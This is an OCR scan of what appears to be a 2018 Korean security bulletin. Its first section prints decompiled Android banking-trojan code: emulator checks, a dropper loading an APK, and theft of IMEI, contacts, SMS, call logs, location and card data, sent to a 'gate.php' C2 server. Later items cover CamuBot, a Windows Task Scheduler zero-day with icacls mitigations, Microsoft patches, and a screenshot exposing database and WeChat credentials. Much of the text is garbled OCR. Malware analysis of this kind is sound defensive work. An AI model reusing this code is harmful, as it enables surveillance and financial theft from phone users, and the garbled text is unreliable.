vd, append(”.mp3”);
vl = nmew BufferedReader{new InputStreamReader{w5_l.open{vd.toString(}), "UTF-8"));

static void FileDecodeBasedd(String arg3d, String argd) throws Exception {

F i
Tools.writeByteArraysToFile(argd, new RC4A("3216549891" . getBytes("UTF-8")).make(Baserd.decodelargs, @)));
return;

ESTsecurity
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w
12
0%
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M
AI
1z
5

assets
L:rs:rj_lid nFnDtatmns fonts
) 2.mp3
res -
1.mp3
0.mp3
1.mp3 =

Edit &5 Text fwrap Run Script R

I B PRI PR B SR
1 rvSrTZQraHdayMdeSTmCovIwhxYHdwoXn

2.3 s #0l

717| E=E 221610 & 717]0]A2] £

§8k42tETX0WEVE04vL04Y0eDAAT YubWC
XWV3UkOmOu0Ju31l60X1w+NkFméug/KM>
£+V030LkpI3Zx63hTUgR2IyG1kD5pDht
Cz3mwhSJ3/RPLWP/kr3RZJH+BPLtDy2:
AX121AMNUOB1LV72sRLu2Xkh3SRymRbI

22 2] AS5H=|0f AfekE o o

M3l 02 E0I5H=r, SX

Ohiject w5 = args.getSystemService("phone™);

boolean v@ = false;
try {

wS_1 = ({TelephonyManager)vs).getDeviceId().equals (" "a00000000000000") ;

K
catch(Ewception ) {
wS_1 = false;

¥

int vl =

int w3 =

if({ws_ 1) || vl !'=@ || v3 != @) {
vB = true;

K

return v@;

SRIE op Y2 QICR0|0| SN 2 BBGI0] AYEC, HE U

243X =4
Hi—
op aHol= 517| 9IEt ZH|S Bit

0
[0

[ 2.5 HEH= C2 E Y

O

=

o =

| 2b2H?{0 CHet =440ICH.

StringBuilder vl = new StringBuilder();

vl.append(Environment.getExternalstoragePublicDirectary(Environment .DIRECTORY _DOWNLOADS) . ge

vl.append("/");

vl.append{Tools.Ffilenomeapk) ;

vl.append(”.apk");

Class wl_1 = new DexClassLoader(vl.toString(), arg6.getDir({"dex”, @).getAbsolutePath(), nul
Context.class).invoke(vl_1.newInstance(), argh).booleanValuel);

return vl_1.getMethod(arg?,

[0 4 5% 252 S8t ot 39l
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(Build.MODEL.contains("google _sdk™)) || (Build.MODEL.contains("Emulator”)}) || (Build.MODEL.contains("Android SDK"))
lBuild.BRAND.startsWith("generic”) || !Build.DEVICE.startsWith{“generic”) ? @ :

IS ol |20=
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Ohiect w2 = arg?.getSystemService("phone™);
argd = "";
try {
vB 1 = arg3 + "imei:" + ((TelephonyManager)w2).getDeviceId() + ", ";
H
catch(Exception } {
vA_1 = arg3 + "imei:d, ";

H
try {

arg3 = ve_1 + "country:" + {(TelephonyManager)wv2).getNetworkCountryIso() + ", "3
H

—

catch(Exception {
arg3 = v8_ 1 + "country:, ";

H
try {

vB_1 = arg3 + "cell:" + ({TelephonyManager)vl).getSimOperatorName() + ", *;
catch(Exception ) {

ve_1 = arg3 + "cell:, ",

¥

arg3 = v8_1 + "android:™ + Build®VERSION.RELEASE + ", ";
arg3 = arg3 + "model:" + Build.MODEL + “, *;

try {

vB_1 = arg3 + "phonenumber:"” + {(TelephonyManager)}v2).getLinelNumber() + ", ™;

catch(Exception } {
v@_1 = arg3 + "phonenumber:, ";

¥

try {
w2 1 = w8 1 + "sim:" + ((TelephonyManager)v2).getSimSerialMumber() + ", ";

catch(Exception ) {
v2_ 1 =wv8_ 1+ "sim:, ";
H

return v2_1;
"android:” + BuildSVERSION.SDK_INT + "~ + "," + = =3

B3 517171 82 28

PackagelManager w5 = argh.getPackageManager();
ITterator v@ = vS.getInstalledapplications(128).iterator();
while(ve.hasMext (1) {
Cbhject wl = wvB.next();
try {
J50N0bject w2 = mew J1SONCbject();
v2.put{"name", ({ApplicationInfolvl).pockogeName);
v2.put("dir", ({(&pplicationInfolvl).sourcelir);
v2.put{"activity™, ws.getLaunchIntentForPackagel(((ApplicationInfolvl).packageName));

vE.put{v2);
}
catch(J50NException ) {
b

1

return ve.tostring();

(03 6 2RIE Y 2= 47

b i |
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if{ﬁ.r:anﬁetior:altiani {
v3.getlocation();
return """ + v3.getlatitude() + ":" + v3.getlongitude();

(22 7] 2% L

Cursor wll = argll.getContentResolver().query(Uri.parse("content://call_log/calls"), new String[l1{"_id", "number", "date", "duration", "type"]
while{vll.moveToNext()) {
try {
JS0NCbject w@ = mew JSONObject();
va.put{"type”, vll.getString(vlil.getColumnIndex( "type”)));
v@.put(“number”, wvll.getString(vll.getColumnIndex( number”)));
ve.put{"date”, wvll.getLong(vll.getColumnIndex("date")));
v@.put("duration”, wll.getColumnIndex({"duration"));
w12, put(ve);

b2 8 s2t =5 %

:ZS;;%Fhl-—1 =#=§ﬂ

ASS S

%
r

ContentResolver w8 = argd.getContentResolver();
Cursor vb = v8.query(ContactsContractiContacts.CONTENT_URI, null, null, null, null);
if({vE.getCount() > 8) {
do {
label_12:
if{ve.moveToNext()) {
v@ = vB.getString(ve.getColumnIndex(”_id"});
Vw7 = vB.getstring(ve.getColumnIndex( display_name”));
if({Integer.parselnt(ve.getsString(ve.getColumnIndex( has_phone_number”))) <= @) {
continue;

b

break;

¥
goto label 58;
while(true);

Cursor v@_1 = v8.query(ContactsContractiCommonDataKindsiPhone.CONTENT_URI, null, "contact_id = ?", new String[]{wve}, null);
while{v@_1.moveToNext()) {
String vl = va_l.getString(ve_l.getColumnIndex( datal™));
try {
JSONObject w2 = mew JSONObject();
v2.put("name", v7);
v2.put("nomer”, wvl);
va.put(v2);

02 9 742 47
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arg3 - "cangéntTJESﬂsfinhnx";
String w8 = "content://sms/sent";

Curszor ve = arge.getContentResolver().query{lUri.parse(arg?), null, null, Aull, nu:
JSONArray w8 = mew JSONArray();
JSONObject vl = mew JSONObject();
if{ve.moveToFirst()) {
do |
if(vl.length{) > @) {
vl.remove (" number”};
vl.remove ("text™);
v1l.remove("date™);
vl.remove( " type™);

1
int vz = @;
while(v2 < ve.getColumnCount()) {

try {
if(ve.getColumnlame(v2).toString().equalsIgnoreCasel "address"1) {
v1l.put("number”, ve.getstring(vz));

1

if(ve.getColumnlame{v2).toS5tring().equalsIgnoreCase("body™ ) {
vl.put("text”, va.getstringi(v2));
1

if(ve.getColumnlame{v2).toString().equalsIgnoreCase("date™)) {
vl.put("date”, vB.getStringiv2));

22 10] =X+ H= +H

2.11 EAL TS
EXIE 2010 AEA} 22l HSSICY.

Intent w8_1 = mew Intent("android.telephony.SmsManager.STATUS_ON_ICC_SENT™);
wvB_1.putExtra("smsid", wl);
PendingIntent wé = PendingIntent.getBroadcast(argl?, @, va_1, @);
smsManager wl2 = SmsManager.getDefault();
Arraylist v8 = v12.divideMessage(vs);
try {
if(v.size() > 1) {

Arrayvlist v1@ = new Arraylist(1)};

w18, add{va);

v12.sendMultipartTextMessage(v?, null, v%, v1@, null);

1
else {

v12.sendTextMessage(v?, null, v5, va, null);
1

23 1] 24t S
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StrictMode.setThreadPolicy(new StrictModedThreadPolicy$Builder().permitAll().build());

String v@ = Izcusa.readstringConfiglargs, "urlg”);
if{arg?.startsWith{"/files")) {

arg? = v@.replace(”/gate.php”, ™"} + arg?;
}
Rlzetjwi.log{argh, arg?);
v@ = Rofkznp.randomInteger(11111, 99999) + "." + "apk";
String v1_1 = Environment.getExternalstoragelirectory() + /",

try {
File w2 = new File(wl_1);
if(lv2.exists()) {
w2 . mkdirs();

h

JRL w3 = new URL{arg7);

File v7_1 = new File(wv2, w@);
URLConnection w2_1 = v3.openConnection();
v2_1.setReadTimeout (120068 ;
vZ2_1.setConnectTimeout (156088) ;

BufferedInputStream v3_1 = new BufferedInputStream(v2_l.getInputStream());

BytebfrrayBuffer w2_2 = new BytelrrayBuffer(5000);
while(true) {
int w4 = v3_l1.read();
if(vd == -1) {
break;

b

v2_2.appendi{(bytelvd));
T

FileQutputStream w3_2 = new FileQutputStream(w7_1);
w3_2.write(v2_2 . toBytedrray());

w3_2.flush();

w3i_Z.close();

03 1257t re=s
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File[] w7 = arg?.listFiles();
int vl = w7.length;
vz = @;
while(true) {
label_5:
if(v2 »= wl) {
return ve;

1

w3 = wi[w2];
break ;

¥

ch({Exception } {
return ve;

i
J150NObject w4 = new JSONOhject():
if(wv3.isDirectory()) {
vd, put("type™, "dir");
vd . put{"path”, v3.gethbsolutePath());
vd,put({“parent”, Izcusa.getFilesFromDist({v3))};
1
else {
goto label_21;
}

el 27

wB . put(vd);

goto label_ 28;

el 21:

v, put("type”, "file");

vd . put(“path”, v3.getAbsolutePath());

(23 13 MEa FE
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KEY COMMAND = “command™}
KEY _DATARESULT = "dataresult™;
KEY_ID = "id";
KEY_IDCOMMAND = "1
KEY _MODULE = 0
KEY _STATUSRESULT
TABLE_REPORTS = '*epo*ti ;

private static final Strin
private static final
private static final
private static final
private static final
private static final
private static final

AL ELELELELE

W [0 00 0O 00 00 0 0o

private static Context cnt
static {

¥

public Dfrigrep(Context argd) {

super(arg4, "herobot", null, 1);
Dfrigzcp.cnt = argd;

| HIOE 4
| android_metadata
| commands
= injects
== repu::rts

| arep hero

—journal

(23 14] 2rglielol 2&&h= SQlite

e & (bibonado.com, 89.108.65.121)
T %‘;E%% ‘herobot” CIH|0f| KZHE|0] (2 2 MEEICE 07 |M 71 MEQ 2t &l Z{o=2 =X
SIOIRHX|T AX| 2 FEE F0IE & QIQUCE (F7t CRREE Hof| EXHSHAL O|FSHO 2 FH)

N
v
5
oz
rm

put{"type™, "cc"};

(Rofkznp.checkluhn{vl®,.getstring("card” 1)) {
w7 . put(” "*:', w18, getstring("card”));
v7.put("month”, vl@.getstring(” ﬁutl i
w7 .put(Mvear”, v18.getString("year”));

w7 . put(“cvc™, vl@.getstring({“cvc"));
1lic static String send_data_to_server{Context arg?, J150MNArray arg3)
StringBuilder v@ = new StringBuilder();

vl append(Izcusa.readstringConfiglarg?, "urlg™));
w@, append(”/gate.php");
return Ijdzk.SENDPOST (vB.toString(), arg3, true);

[O& 1512
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[MEtA, ok WO ZHH LIS Z|A=lst | flolid= it S Sof 7121 AL SQ0ICt X7t =F=fet
URL 2t D2 ARMGHK| Q4= 10| 7|=0112 A OBIRl 15 Z2(0|AE0S Stk 2=t HO[EHT: Ml M= 7t
X[l 7 |HO= AUH|O|ESILL HAf oHOF SICt.

ol

T Lok M OIM = S A2 Trojan.Android.Dropper’ EIX| HOZ XITtsti! QICt
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1. 30A

HOt RER Q3 MES WY ES0|=0} W
New Banking Trojan Poses As A Security Module

7[Z2| AFETFERR= TE TS AEok= MZ2 W EZ0|S0P AN, Of= =0 20l= &X|, &8
AX|L|OIE BEEHES F71RH.

CamuBot 2 Xt & HaF=ol W EiRion, B2 7/
SRS KA L2} QTS HRIGH= ARISOICH

>|-E
rul_o
H—
_ljl_
=
ol
~=
i
rlo
rlo
OII
_lﬁ
rio
B
-0
~
i

AN QIX|L{ojI] F
0] OPTC Ostio| 279t HBHE O[0[KIS AR £Ot OfZaAH0 MR QJRIiTY,

IBM X-Force 7 EI2 2272 S5 “CamuBot XSS TAS U5 | o S 38 721 Aot
oS 57| 9Bt YHS ARUCE T TS, 71210] 23 A& F2IHNS THIT Q= 2O S Fi= AR

=

s} S2E A= "1 BiRict

-

SZNS2 oMl 22| 2ot 2=9| Rads =Rls0fetl= AIS M 71t 2ot £E5 X0kt SESIT.
EtZI0| AHeliok= 22| =8 A& dMIE otH, 0] SAKXR= TIsHXIA| AZEL|07t A1HT0 2= AE B0iF=
HAO|ES EE0l=5F QFsit,

DKL= 2H| S Y B2IXt HFIOR 22101 WS 9ot 2L BES [IREC U 415 5{0} sirtn
soit

—

TfaHRle] AIABIOI OJROIRK= A7 742l
CamuBot o] EIZ 7[7[0l) SSH 7114] SOCKS TEZALS G RE TS B8 ol 4 BEFCL O
0| NS Qs SH EfES MR BZRIS0| s 23 A0l B2 1) TisiKISl IPS AIBSIES 5]

PO,

gafm W AEte| 2721 F2|HM2 TRYS Sol Z=Lt CamuBot 0] AX| =M, 0= ERI 22| 71t HAIES
0 IGHRIOA 21912 LA ZZKI0|H HMEE HIEE SHT}
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OIE|HIO[ZIAR} HIs}H EIRIZ 231517 QIsH, 0] AMTEE HOt ES0| 01 IR T2 BAEN X7| KPS
Z7I3iCt

G 24243t H0/24S CiH[3t Camubot
OPITE HAKISS OFF Q158 275K MHOIME 320|438 4 Y=S BIS9ICt

& Q15 A0 Z4F = AREC SHE = 7|77t 272 B2, CamuBot 2 0IZ 2HAsl SHIE =20HIE

ME[BICE 0|5 ZHKI= MaiS S5 SHKIOIA| Bt I°S ZR5RET QI

r

"OTPE 20l 22 SZRI= AP | HAHE A= = A, 29| IPFAZ E{ERsH 23 0| oig MuS

S22 7HQl SEEH0|H, B2tA0| 7ZST 2|1 IO THE =710fIA
=]

o
28 AX|LO0Z0| B2 BES 2E0k UK, SAR= OFF XEet E —!% AIZs
o

F|F
ru 0|'-|
|l
N
il
pal

[EX] https:/ v bleepingcomputer.com/news/security/ new-banking-trojan—poses—as—a—security-module/

https://securityintelligence.com/camubot-new-finandal-malware-targets-brazilian—-banking-customers/
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2 &Y AAED MZH|0|F A8z AETE EA &
Windows Task Scheduler Zero Day Exploited by Malware

FGTE JHEXS0| =2 2Y AA[ER] HMZH(0] YASZOIS AF0k | AXCL 0l= sHS F2FE2| PoC

F=7t 2110 S7HER| O 2HO|L.

SandboxEscaper 2h= Ot G2 8 & 27 Y AR 2 AAIEE7T AREok= ALPC QIEH|0|AN| EXHok= HOt
HIE QR6k= AATCE BT}

THRPEOZ, EXl= SchRpcSetSecurity API 7 [SU| ZXHfettt. 0l= ARSALL| Hets =IRIsHK| B20F
C\Windows\Task 2| It M7 | 5t SIZSICL 0] FAFH2 2= M 7~10 0] F2ks OIX|H, SHAPH 2=
TRt SYSTEM AE £E0= HSA7 B= HI S =0 Age == ULt
ESET 2| A73E2 UAEZA FEJ S7HEX| HE 2, PowerPool 0[2k= SZARS0] 2AIGk= 24 AHI210A 0]
FETH AEE= AS EAUL. PowerPool 2 150] F= PowerShell 2 £t £l £ AEol| IHEH E0Z
O[ZO0]ICt.

GoogleUpdate.exe & 2= PowerPool

0] JF2 2R, S, I, W2, BAC, 2A0F, F=, O1F L 2T240|Li0l 21| IFKISS RSt 210
2OIC}, SIS PowerPool HUKISO| AAZROIO] HI0|L{ZIHHS AMS5HK| 941, AATES MY 57|
H ORlo] Bisl2 X 2O HOICkT HCt

53

“PowerPool 2| XS C:\Program Files (x86)\Google\Update\GoogleUpdate.exe I ZAEI=XE HAZICE Ol=

T2 IS2A0K99] SR YHIOIHO|H, 2e|Xt Motz FI MO = D03 240 E =2 X0 2

H—— d

|

ol

Ay

0|2 QI3 PowerPool 0| 742 HC[0|E{Q] AlaH llf°'° 50| 34 2 HAOIM AR5z HE=0{e] SAECE
FOIMT| g 4= QU EICE O] YHIO|E7 CHZ0ll S5 &[™, B0/ SYSTEM ekt 37A &34 2 Z40]Ct.
A0 =™ PowerPool 2ETE -‘-’-oqxf—ﬁ & HASE AX 2el0] U= TsHAISHAIZ 2 A H=0E
AMESI= AO=E HOICY,

OO|F2ATEE= ALPC HT1E OFRIEK| THX[oRK] RIRUCLE 9 & 11 & i = &7t =2t YH0|ENIN 0|F 8
NOZ FYE,
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OII

X2t OR|HEATENRM &

Karsten Nilsen L 4
@karsten_nilsen

Short term solution on VU#906424:

icacls c:\windows\tasks /remove:g "Authenticated Users"
icacls c:\windows\tasks /deny system:(OI)(CI)(WD,WDAC)
Tested and blocks Oday, changing these rights may result in
unexpected behavior in scheduled tasks.@USCERT_gov
8:45 PM - Aug 28, 2018

)13 E, See Karsten Nilsen's other Tweets 0

64 HIE |12 10 K™ 1803 ALSAIY AL, O0|FZ2MX|E XEal 0] 2HIE 2SI Z o~ QICE 0= YA
IHX|0|H, Acros security 2| Opatch Agent & AX[sHOF SHCF

[EX] https:/ /v bleepingcomputer.com/news/security/windows-task-scheduler—zero-day-exploited-by-malware/
https:/ mww.welivesecurity.com/2018/09/05/ powerpool-malware-exploits—zero-day-vulnerability/

ESTsecurity copyright © 2018 ESTsecurity Corp. All rights reserved.
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OO|Z=4ADE X|BHOI F2FH 17 IS +Hol= AZER|0] YH0|E

Microsoft Issues Software Updates for 17 Critical Vulnerabilities

A|AEITE ATEQOE IHX|EH A|ZH0| T[T OO |F2ATETJ 2018 W 9 20| &7t IHX| 31 AHHOIES
SHACE 2P & 61 /HE 8610, 0] T 17 7= A7t XEH 43 7= 58! site HECZ 257 QL

O|EFe| HQF AL|0|E= O|Z2ATE S| Windows, Edge, Intemet Explorer, Office, ChakraCore, NET Z&| &3,
Microsoft.Data.OData, ASP.NET S2| F|2IxS 4HsiCt,

IiX| & ot RS & 471= S/HHCE YRCM, 0]0] SZXIS0| 24Eok AUS 7H580] =L,

CVE-2018-8475: AIEXQ! A= RCE HYH

0| FUH™ 471 & Stz XHXQI M FE Mol ZF (CVE-2018-8475)0ICt. Ol= 00| =2AZE Windows O
ZXHSHH Windows 10 S Zefet 2= HT0| FS DIEILE Windows RCE F2FH2 212/ S2o| MiAf =l O|0]X]
IfUS Refoh= A0 ZARICE b F=S BRI AJARIOIA 2o | floliM, HZS| SAX} ofioFet 22 1K
T[5HAE7} O|0]X| SH4S EAH| B=x= Z4E0]C

0] FPYS AZIET}HEOD 10| 419, YO OfF ASH YD ARBKIS -2f= THO| WA B o2 5

CVE-2018-8440: = ALPC Hgt &5 FH

0| IfxH= YI=R0] ALPCOll ZXHoH= M| FIFKE $5It 248 2 B9, 20| THKIL o T2 T20]
EFZL 717 (010 RI2IRE SIS 20| TES AAIZ 4 Q| EICt

Do|T2ATEN T2, 0] ZE2 S| £io] ST 0| 23t Zxol7L MRSIC, 0] sk FOFH TH3t

O [ )
PoC UAAEZAI2 GitHub OfIA] &= 4= QUL

CVE-2018-8457: A5 &E ATl 0|22 S= F{oFH

=
DINHOR BT & CIZ FOPH2 AT AXIN| ZXfols 242 TS A3 FOFHO|CE 0= AIZE AZIO|
D0|T2ATE HRIQK| B2 Lf QUHES HHs| X5iK| 2 I 47l= SHE 215 EX| %2 247

THRP} I AASO S 2791 B ABX} HEAER Q0| TEZ NSt & QIEE HF3IC,

“B2{R} SIS 71 AISAPHRTI91 SO[2IB, 0 OPHS MTBHOR IS5t BRI HES W AXHS
Rlofgt 4 QU EICt”
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"0|F SAKHE Z2OS HAXIoHL, HI0[EIE BB/ HE /AN & 4= ACH TA| Hets 71 MEA AES dEd

= O

0| F|eFM2 O0|Z=AZE Edge, Intemet Explorer 11,10 0l XS,

< Hiper-V &2 3= AI3H FoPH 2 7
0| IfX|= A= Hyper-V 0| EXfok= X|HHQ! HA T= A3l FOFH 2 7HE E3ITL Hyper-V = =S AHOI|IA
7t MAlS ARlSE | I8 7|2 SIOIHHO KLY, & FFE B=(CVE-2018-0965, C(VE-2018-8439) SAE AH{2
Windows Hyper-V 7t HIAE OS B 591 =l AFRXIC| 1S XXG| HASSIX| 10} LHAESITL

o HAE ArEXk= O] RCE FFH = TS 2AE5H 71 OS OfiM 25| XE et T2 1S Aldlis SAE OSOlIM
olo| FEE At 4~ QlCt.

BE O[0|T2ATE ATEQ0| HOPHE WG
0] QIUI, OO|FZATEL Of=H| Z2hA] S[0|010] RIBEQ! 2474 TE Mgy SO RIEHCE OITHE= B
5t AKS FIOF ((VE-2018-15067)2 ‘ER 2 HRFOLL TI0|TRATES XIHE 0l §42{ 7= A3k

P

[SFHe = ERIAUCL AEAS0| AMAH-SE ES0617| flofl 0] XS 7St Eel HEol | Halsi.

Al

HOF AHI0|E HXIE oMz A7 -) YHI0IE & 22F -) Windows HI0IE -) A 7H58t YHI0IE &Rls
2=/ +32= YUH0|ES EX[& 4= T,

[&X] https://thehackemews.com/2018/08/snapchat-hack-source—code himl
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SNy SO Busvteets T L ot -

- se—— R g N

v s M8 oo, sk <o e ’ - e
2 ae -~ A o - AITVCOE SERGA TS B J004L , TRSMT M Q0D

) LB " T ARORTRYSIRATTOGEDNC, LISGAZI NN, 8, , 85X

g N o AL N LRI, P

2 a1 ARIIATIORTCINN, S iaai i

4 )K W ITOMII SIS, 1y hiias

2 LN, Mn—rnm«lnma

. e e 3
] " ’ Qase b
" v _ wre

- " i

- i we
= 4 0 el ‘.
. - BINNIE

L ERF L R
!
o

C vadins
" " B T T TR 1]
» AT G TNTRR SR, S,

. A WK‘IW.IWHM&!M‘,.
- SESUICIOMOATIY, NIEIMIMIIT N
t TESANALAS LYI O 1P RAL, SILIRIINTY

L T T

P00 T MU S INTORA 3001

MITTOIIRINNE D i s vunvinnnnannnad

STILISIIRNASS, 1

. leeestaNa, 2,

bl LR EL L S

JN1TFMS71TINNE, 1,

& ARSESMAIS RIS, L,

. i 1 wuumtxwumn LTI

- € ar [ Ll SIsespesent, 0., .

s s SIS, L,
i “i “war ATICIRIAT
4 Lib C ™ Pl Lisnsssnnnsnnsssans

z
MAEWAR W

£

ALY, LT,
3, nesbeaseitd
wr AIINTIINETY, ]
¥ ML, 1134 TIL Ja e :
“ IRl “'“..1 .........................

Y
[

o L i
= -~ -(ou((xm;olmzlaw L mmsm
& g, AETUIEM0N 1M ANRAC B2V B ILL N luuuunu
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Bl 5 Y - )3 - /NS STISTO0NAIAL I DOTCISALISTIANIN DG 24, LN
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ZERE

Of£H0| gt M= REAA
0 Y0l Github 0ff 22+2

LS 0|E5H¢ oli717} DB & 434S A0l FYELL,

L. DENGXIANGLONGOOT / CMS

<> Code ) Issues 0 1 Pull requests: 0 " Projects 0 Wiki

Troe- aacadbecsb~  CMS /src / main / resources / application-dev.properties

W DENGXIANGLONGOO01 |DEA

1 contributor

18 lines (315 sloc) 791 Sytes

PLUBSTE\ 6360 \uis93

spring. datasource, driver-class-namewcon. mysql., jobe . Driver

712
Ao= i OI| AL}, EESH 5747t 0| DB E

otiget

i1 Insights

DB 2| +IHEE GitHub 0l §=2E= 6?9"19'31, O| ME=<F
A= 14

I 07| [i=0fl, Ofaf O]

OWatch> 0  Kster 0 Yok 0
Find file  Copy path

aecasbe 20 days ago

Raw = Blame History L[ o

spricg:datasource.urlajobeimysql: //119.3.25,176: 3306/ cms-devuseUnicodeatrvedeharac terEncod ingaUTE 80 ¢ Lincdut oComni tetruelr ercDateTinelichy

AaTHI0UrLE  UsEraDe POt

spring.detasource. pessnordea123456

sluStas\usfel
welxin, apoid = wxe970522c8cd2¢676

weivin.appsecrer = 026FF71e1b959ff3cafbs8aTbf843642

BT FAINUSBTS \uB38B\ub762 \uB3ET
p = http://yg-test.cms. h-world.con
Lprefiz = apf

arzicla, provien. template = /index.html

#hoaeda\ e F2R\USETe\n7247
Lase.save,path = /home/app/inage
vase.save url = htep://yg-test.ons. h-world.com: 8080/ 1oading/ inage

[EX] https://www.anquanke.com/post/id/ 158123
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TSMC37H &, HHa-lolol &

SBERXEBEMESAR ZKTE&ZEZN

8 & 3¢, tH2e| LzE1ISHHX| - EIO|SHSITA] - EfO|'HifeHHX|0] L= TSMC SEHO| 200 2= 2A=
STUCE

TSMC= 7 MAOIM 71 2 Bi=X| MSHO = ek sli71=52| S EHI0] |0 T AO|H S2S &AL
OfX|ZH O|ZH| T2 SZS B2 A2 0[H0| XMFZO0|Cf. it 2HIS2 UESI0| HZZUX] 07| =0
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TSMICE= 88 32 FL, & 770k 2HI21010] S SRISIALE 0l 24T 27 371l B2 OfLIm,
B TSMC = IAOI0H LHE OIS SHQIGH= SAI0f 32 WOHS DAY UCH IRI0f 2 W0l w2t
U MHISS Fu STERION, LS B AHISE SRR HASE0| SR

y O—

X238 742, TSMC 2| 2T T2 0fZ2, TSMC = S5 iPhone AIZ0l EXRHER= 7nm ©] AT2CPU 2| F8
WA 5 SILIOICE HIZ 7HS0] SXIE ARIO| ZKt= QIAKIRH HHZR| HIE BHO| BT 71 22 TS 1,
ArEst £A10| MRS 012t FHED UCk

[EX] https//Awwianbeta.comyartides/tech/753965htm
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7Et
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HHASIA| 240FA CHIOJEIS ﬁéf | 22t HOIA= 16%T. AF2|EIIET MS0HL A= S22t 22 HO[EE

o5t ZEIS 2% HLI F U OIPHE YUK SZS XISUCIT st TR QAT
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0 10 20 30 40 50 60
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[EX] hittp:/ /www.security-next.com/096223
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